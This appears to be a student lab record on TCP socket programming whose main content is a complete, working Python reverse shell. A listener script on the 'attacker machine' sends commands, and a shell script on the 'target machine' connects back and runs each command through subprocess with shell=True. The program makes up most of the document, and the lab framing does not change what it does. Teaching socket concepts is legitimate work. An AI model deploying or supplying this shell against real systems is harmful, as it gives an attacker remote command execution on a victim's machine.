Exp 8: Develop a program to create Reverse Shell using TCP Sockets.

AIM:

To understand TCP socket Programming by implementing a basic reverse shell demonstrating client-server communication concepts (Educational / Lab environment only).

PROCEDURE:

1) Create a listener (client) script on the attacker machine.

2) Use listen() and accept() to wait for incoming connections.

3) Receive commands and send back output to the client.

4) Use socket.connect() to connect back to the listener.

5) Send the command output back through the socket.

6) Run the listener first, then the shell script.



```
# === listener.py (run first on attacker machine) ===
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 4444))
s.listen(1)
print('[*] Waiting for connection...')
conn, addr = s.accept()
print(f'[+] Connection from {addr}')
while True:
    cmd = input('Shell> ').strip()
    if not cmd: continue
    conn.send(cmd.encode())
    if cmd == 'exit': break
    output = conn.recv(4096).decode(errors='replace')
    print(output)
conn.close(); s.close()

# === shell.py (run on target machine) ===
import socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 4444))  # your listener IP
while True:
    cmd = s.recv(1024).decode().strip()
    if cmd == 'exit': break
    out = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    result = (out.stdout or out.stderr or '[no output]')
    s.send(result.encode())
s.close()
```

7) Implement a loop until 'exit' command is received.

Result:

13/X 8/10

The reverse shell program was successfully implemented in a lab environment. TCP socket connections were established, and commands were executed and their outputs transmitted over the network, demonstrating socket programming concepts.